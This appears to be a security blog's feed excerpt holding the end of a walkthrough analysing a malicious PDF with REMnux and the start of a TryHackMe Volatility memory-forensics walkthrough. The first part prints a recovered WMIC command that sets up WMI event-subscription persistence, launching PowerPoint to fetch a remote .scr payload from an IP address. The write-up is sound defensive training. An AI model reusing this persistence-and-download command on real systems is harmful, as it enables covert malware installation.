/&lt;em&gt;OpenActions&lt;/em&gt;&lt;strong&gt;&lt;em&gt;,&lt;/em&gt;&lt;/strong&gt; object &lt;strong&gt;&lt;em&gt;26.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;793px&#34; data-flex-grow=&#34;330&#34; height=&#34;242&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/acbf2c11287b5ce8517789e152b2db6b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Surprise, surprise — more obfuscated code. It seems like this will attempt to execute some arbitrary code with &lt;em&gt;PowerShell.&lt;/em&gt; Maybe we can do some dynamic analysis and actually run the code in &lt;em&gt;PowerShell&lt;/em&gt; to understand what it does?&lt;/p&gt;&#xA;&lt;p&gt;First, we will export the code into a &lt;em&gt;PowerShell&lt;/em&gt; (.ps1) script file. After reviewing the &lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/discover-the-tools/general&amp;#43;utilities#powershell-core&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;REMnux docs&lt;/a&gt; again, it looks like we have &lt;em&gt;PowerShell&lt;/em&gt; core built in. This is perfect, we should be able to execute our script and have it print the output rather than execute the malicious code.&lt;/p&gt;&#xA;&lt;p&gt;Even though we are performing our analysis in a sandboxed environment without network access, we will change the &lt;code&gt;Invoke-Expression $LoadCode&lt;/code&gt;to &lt;code&gt;Write-Output $LoadCode&lt;/code&gt;so we aren&amp;rsquo;t executing the malicious code but writing the output to the console instead.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;3891px&#34; data-flex-grow=&#34;1621&#34; height=&#34;74&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/a8d29be426ce07985d62078bcb19fc88_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/a8d29be426ce07985d62078bcb19fc88_MD5_hu_82ee7f596c77fe14.png 800w, https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/a8d29be426ce07985d62078bcb19fc88_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Setting the .ps1 script to write output to the console.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;4881px&#34; data-flex-grow=&#34;2033&#34; height=&#34;59&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/ab4cb57ff35785c75a3a3eb9f0430146_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/ab4cb57ff35785c75a3a3eb9f0430146_MD5_hu_e31287183ba54916.png 800w, https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/ab4cb57ff35785c75a3a3eb9f0430146_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Badscript.ps1 PowerShell with Write-Output.&lt;/p&gt;&#xA;&lt;p&gt;Excellent — this output should provide us with enough information to answer the remaining questions for this challenge.&lt;/p&gt;&#xA;&lt;p&gt;For &lt;strong&gt;Question 7,&lt;/strong&gt; it looks like the script is abusing &lt;em&gt;WMIC&lt;/em&gt; to create a persistence mechanism. For context, &lt;em&gt;WMIC is&lt;/em&gt; an older command line tool used for interacting with &lt;em&gt;Windows Management Instrumentation&lt;/em&gt; (WMI) which can be used to control and query &lt;em&gt;Windows.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;According to &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1546/003/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt;&lt;/a&gt; this sub-technique (&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1546/003/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;T1546.003&lt;/a&gt;) can be abused for persistence:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s focus on some specifics in the output for the context of our investigation:&lt;/p&gt;&#xA;&lt;p&gt;**Query=&amp;quot;&#xA;SELECT * FROM __InstanceModificationEvent WITHIN 9000 WHERE TargetInstance ISA €˜Win32_PerfFormattedData_PerfOS_System&amp;rsquo;&amp;quot;&#xA;**&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;wmic /NAMESPACE:&amp;quot;&#xA;\root\subscription&amp;quot;&#xA;PATH CommandLineEventConsumer CREATE Name=&amp;quot;&#xA;RHWsZbGvlj&amp;quot;&#xA;, ExecutablePath=&amp;quot;&#xA;C:\Program Files\Microsoft Office\root\Office16\Powerpnt.exe €˜hxxp://60.187.184.54/wallpaper482.scr&amp;rsquo;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Okay, I&amp;rsquo;m going to stumble through an oversimplification here — It seems that the &lt;em&gt;WMIC&lt;/em&gt; command is used to create an event subscription where every 9000 seconds (or 2.5 hours) the command line event consumer &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;RHWsZbGv1j&amp;quot;&#xA;is triggered. This consumer launches the legitimate process, &lt;strong&gt;Powerpnt.exe&lt;/strong&gt;. with the command line argument &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;**hxxp://60[.]187[.]184[.]54/wallpaper482[.]scr&amp;quot;&#xA;** to open the &lt;strong&gt;wallpaper482.scr&lt;/strong&gt; file.&lt;/p&gt;&#xA;&lt;p&gt;Whew! Okay, now acouple of things to note here for our questions:&lt;/p&gt;&#xA;&lt;p&gt;Since &lt;em&gt;PowerPoint&lt;/em&gt; (&lt;strong&gt;Powerpnt.exe)&lt;/strong&gt; is a legitimate binary included with &lt;em&gt;Microsoft Office&lt;/em&gt;, this is an example of the malicious file abusing a legitimate command for bad activity. This technique is an example of using a &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;living off the land binary&amp;quot;&#xA;or LOLbin.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;hxxp://60[.]187[.]184[.]54/wallpaper482[.]scr&lt;/strong&gt; is a defanged URL so that it can&amp;rsquo;t be accidentally clicked — safety first!&lt;/p&gt;&#xA;&lt;p&gt;Regarding the &lt;strong&gt;wallpaper482&lt;/strong&gt; file — A &lt;em&gt;.scr&lt;/em&gt; file, while normally used for Windows screen saver, is an executable file type and can contain malware. In this case, I think we can be pretty confident that it does!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;278px&#34; data-flex-grow=&#34;116&#34; height=&#34;689&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/0f6d5083d73b9b3c348fdb1f3c9d4171_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-12-which-country-is-this-ip-address-locatedin&#34;&gt;Question 12: Which country is this IP Address located in?&#xA;&lt;/h3&gt;&lt;p&gt;Finally, we are at the last question! Now that we have the IP address where the persistence payload is retrieved, we can see what kind of geolocation intelligence we can gather about this IP address. We&amp;rsquo;ll check a couple of geolocation databases as the location data can vary depending on the method the database provider used to determine the geolocation.&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll start as usual with &lt;em&gt;VirusTotal&lt;/em&gt; where we can see tentatively that the IP address is located in China.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1060px&#34; data-flex-grow=&#34;441&#34; height=&#34;181&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/61368e0b57ce71af2815aa84d4da241c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;To double-verify, we will also check the IP address using &lt;a class=&#34;link&#34; href=&#34;https://ipinfo.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;ipinfo.io&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;544px&#34; data-flex-grow=&#34;227&#34; height=&#34;233&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/677039eb1185151f5061fc6eef020ab2_MD5.png&#34; width=&#34;529&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Geolocation data from &lt;a class=&#34;link&#34; href=&#34;https://ipinfo.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://ipinfo.io/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Okay, double-confirmed! I think we can submit our answer and wrap up this investigation!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2086px&#34; data-flex-grow=&#34;869&#34; height=&#34;92&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/3980bad5cf5950e8cf61f9edf2fc7153_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;We made it! Thank you to &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; for hosting another awesome challenge. This was a really fun one with so much practical application that can be taken back into the field including the opportunity to try out &lt;em&gt;REMnux&lt;/em&gt; and perform analysis on a malicious PDF file with some awesome tools like &lt;em&gt;pdfid&lt;/em&gt;, &lt;em&gt;pdf-parser&lt;/em&gt;, and &lt;em&gt;peepdf&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Thank you so much for reading along and learning with me! I hope that you had as much fun as I did and learned something new, too. Stay curious!&lt;/p&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;LetsDefend PDF Analysis Challenge:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/pdf-analysis&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/pdf-analysis&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;REMNux:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://remnux.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://remnux.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;REMnux Documentation:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://docs.remnux.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Adobe Open Actions Reference:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://helpx.adobe.com/acrobat/using/applying-actions-scripts-pdfs.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://helpx.adobe.com/acrobat/using/applying-actions-scripts-pdfs.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;SANS Analyzing Malicious Documents Cheat Sheet:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.sans.org/posters/cheat-sheet-for-analyzing-malicious-documents/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.sans.org/posters/cheat-sheet-for-analyzing-malicious-documents/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;pdf-parser.py:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://blog.didierstevens.com/programs/pdf-tools/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://blog.didierstevens.com/programs/pdf-tools/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;pdfid.py:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://blog.didierstevens.com/programs/pdf-tools/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://blog.didierstevens.com/programs/pdf-tools/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;peepdf:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://eternal-todo.com/tools/peepdf-pdf-analysis-tool&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://eternal-todo.com/tools/peepdf-pdf-analysis-tool&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;CyberChef:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://gchq.github.io/CyberChef/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;JavaScript eval function:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Mozilla Developer Network:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;JS Beautifier:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://beautifier.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://beautifier.io/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK Event Triggered Execution: Windows Management Instrumentation Event Subscription:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1546/003/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1546/003/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Ipinfo.io:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://ipinfo.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://ipinfo.io/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>TryHackMe  —  Volatility Room Practical Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/tryhackme-volatility-room-practical-challenge-walkthrough/</link>
            <pubDate>Sun, 25 Feb 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/tryhackme-volatility-room-practical-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/tryhackme-volatility-room-practical-challenge-walkthrough/73c43c76a6eabc0cc45fdb2142fda745_MD5.jpg&#34; alt=&#34;Featured image of post TryHackMe  —  Volatility Room Practical Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;tryhackme-volatility-room-practical-challenge-walkthrough&#34;&gt;TryHackMe— Volatility Room Practical Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;endpoint-investigation-with-volatility-3&#34;&gt;Endpoint Investigation with Volatility 3&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img alt=&#34;73c43c76a6eabc0cc45fdb2142fda745_MD5.jpg&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;400&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-volatility-room-practical-challenge-walkthrough/73c43c76a6eabc0cc45fdb2142fda745_MD5.jpg&#34; width=&#34;400&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://github.com/volatilityfoundation&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/volatilityfoundation&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Hello! Last week’s write-up was for the &lt;a class=&#34;link&#34; href=&#34;https://stumblesec.medium.com/letsdefend-memory-analysis-challenge-walkthrough-with-volatility-3-f19472849453&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt; Memory Analysis room&lt;/a&gt; which was my introduction to the &lt;a class=&#34;link&#34; href=&#34;https://github.com/volatilityfoundation/volatility3/releases&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Volatility&lt;/em&gt;&lt;/a&gt; framework. This week, I am going to build on my knowledge and am writing up my learning with the excellent &lt;em&gt;Volatility&lt;/em&gt; room on &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/room/volatility&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;TryHackMe&lt;/strong&gt;&lt;/a&gt;. The capstone of the room is a practical challenge with two cases.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;TryHackMe&lt;/strong&gt;&lt;/a&gt; makes challenges like these very beginner-friendly and the coursework modules prior to the challenge will have you well-prepared. This challenge does require some additional, external research but it definitely helps to add context and spend more time on the DFIR process. In the spirit of learning and research I am not going to reveal the flags this time around but I will walk you through my process so you can recreate it yourself.&lt;/p&gt;&#xA;&lt;p&gt;I used &lt;em&gt;Volatility 3&lt;/em&gt; to complete this room but _g_oing forward I will use the terms &lt;em&gt;Volatility 3&lt;/em&gt; and &lt;em&gt;Volatility&lt;/em&gt; interchangeably. This is a longer one, so get comfortable. Thanks for reading!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/room/volatility&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://tryhackme.com/room/volatility&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Scenarios:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;Case 001 — BOB! THIS ISN’T A HORSE!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Your SOC has informed you that they have gathered a memory dump from a quarantined endpoint thought to have been compromised by a banking trojan masquerading as an Adobe document. Your job is to use your knowledge of threat intelligence and reverse engineering to perform memory forensics on the infected host.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;You have been informed of a suspicious IP in connection to the file that could be helpful. &lt;code&gt;41[.]168[.]5[.]140&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The memory file is located in &lt;code&gt;/Scenarios/Investigations/Investigation-1.vmem&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;Case 002 — That Kind of Hurt my Feelings&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;You have been informed that your corporation has been hit with a chain of ransomware that has been hitting corporations internationally. Your team has already retrieved the decryption key and recovered from the attack. Still, your job is to perform post-incident analysis and identify what actors were at play and what occurred on your systems. You have been provided with a raw memory dump from your team to begin your analysis.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The memory file is located in &lt;code&gt;/Scenarios/Investigations/Investigation-2.raw&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;h3 id=&#34;case-001bob-this-isnt-ahorse&#34;&gt;Case 001 — &lt;strong&gt;BOB! THIS ISN’T A HORSE!&lt;/strong&gt;&#xA;&lt;/h3&gt;&lt;h3 id=&#34;questions-1-2&#34;&gt;Questions 1 &amp;amp; 2:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;what-is-the-build-version-of-the-host-machine-in-case001&#34;&gt;What is the build version of the host machine in Case 001?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;at-what-time-was-the-memory-file-acquired-in-case001&#34;&gt;At what time was the memory file acquired in Case 001?&#xA;&lt;/h4&gt;&lt;p&gt;Before we get started, I want to call out the &lt;em&gt;Volatility 3&lt;/em&gt; help command built into the tool. We’re going to lean on this a lot. This is a great way to explore what plugins are available and get a brief description of their functions. In some cases, the plugin itself may have its own set of help for optional arguments! Don’t worry, we will utilize these further in the challenge. For now, I will leave the help command here as a starting point if you’d prefer to navigate the challenge on your own.&lt;/p&gt;&#xA;&lt;p&gt;python3 vol.py -h&lt;/p&gt;&#xA;&lt;p&gt;Okay, let’s get started! While the challenge doesn’t specify it, I am going to assume that we are analyzing a memory dump from a &lt;em&gt;Windows&lt;/em&gt; endpoint. If you have completed the preceding tasks already in the TryHackMe &lt;em&gt;Volatility&lt;/em&gt; room, you will have come across a module that will help us get started with scoping the challenge and working through the case: &lt;strong&gt;windows.info&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;942ed10db685b64dc45e53ffcf61676b_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;8842px&#34; data-flex-grow=&#34;3684&#34; height=&#34;19&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-volatility-room-practical-challenge-walkthrough/942ed10db685b64dc45e53ffcf61676b_MD5.png&#34; width=&#34;700&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;As a refresher, Task 6 states:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;If we are still looking to get information about what the host is running from the memory dump, we can use the following three plugins &lt;code&gt;_windows.info_&lt;/code&gt; &lt;code&gt;_linux.info_&lt;/code&gt; &lt;code&gt;_mac.info_&lt;/code&gt;. This plugin will provide information about the host from the memory dump.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;This plugin is a good starting point for our investigation so that we can get some high-level details from the dump file and better understand our victim environment. When we run &lt;em&gt;Volatility&lt;/em&gt; we’ll point to the challenge file path with the -f parameter and have it use the &lt;strong&gt;windows.info&lt;/strong&gt; plugin.&lt;/p&gt;&#xA;&lt;p&gt;python3 vol.py -f /Scenarios/Investigations/Investigation-1.vmem windows.info&lt;/p&gt;&#xA;&lt;p&gt;Once &lt;em&gt;Volatility&lt;/em&gt; does its magic, we get the following output with some details of the memory dump.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;2774ce9c2c2778984e696dae9030f949_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;548px&#34; data-flex-grow=&#34;228&#34; height=&#34;350&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-volatility-room-practical-challenge-walkthrough/2774ce9c2c2778984e696dae9030f949_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;I think the &lt;em&gt;NTBuildLab &amp;amp; SystemTime&lt;/em&gt; fields &lt;em&gt;should&lt;/em&gt; answer &lt;strong&gt;questions 1 &amp;amp; 2&lt;/strong&gt; — let’s submit to confirm that we have the right answers:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;4cdb277bf3e5e9a58e9fe03dbd5c9445_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1324px&#34; data-flex-grow=&#34;551&#34; height=&#34;145&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-volatility-room-practical-challenge-walkthrough/4cdb277bf3e5e9a58e9fe03dbd5c9445_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3&#34;&gt;Question 3:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;what-process-can-be-considered-suspicious-in-case001&#34;&gt;What process can be considered suspicious in Case 001?&#xA;&lt;/h4&gt;&lt;p&gt;Okay, now let’s get into the analysis and use &lt;em&gt;Volatility&lt;/em&gt; to dig a bit deeper and understand the running processes on the victim system at the time the memory dump was taken. If we refer to the &lt;em&gt;Volatility&lt;/em&gt; help again we have several process identification options.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;d655673457865687422c909164b69d3d_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2860px&#34; data-flex-grow=&#34;1192&#34; height=&#34;50&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-volatility-room-practical-challenge-walkthrough/d655673457865687422c909164b69d3d_MD5.png&#34; width=&#34;596&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The windows.pslist help file entry.&lt;/p&gt;&#xA;&lt;p&gt;Let’s go with the light-touch option first and simply list out the processes list using the &lt;strong&gt;windows.pslist&lt;/strong&gt; plugin. We’ll see if we can find anything suspicious within our case file.&lt;/p&gt;&#xA;&lt;p&gt;python3 vol.py -f /Scenarios/Investigations/Investigation-1.vmem windows.pslist&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;5aa8d87f918869ed77f6c5f8063d7f6f_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;797px&#34; data-flex-grow=&#34;332&#34; height=&#34;361&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-volatility-room-practical-challenge-walkthrough/5aa8d87f918869ed77f6c5f8063d7f6f_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-volatility-room-practical-challenge-walkthrough/5aa8d87f918869ed77f6c5f8063d7f6f_MD5_hu_9187621c196107ce.png 800w, 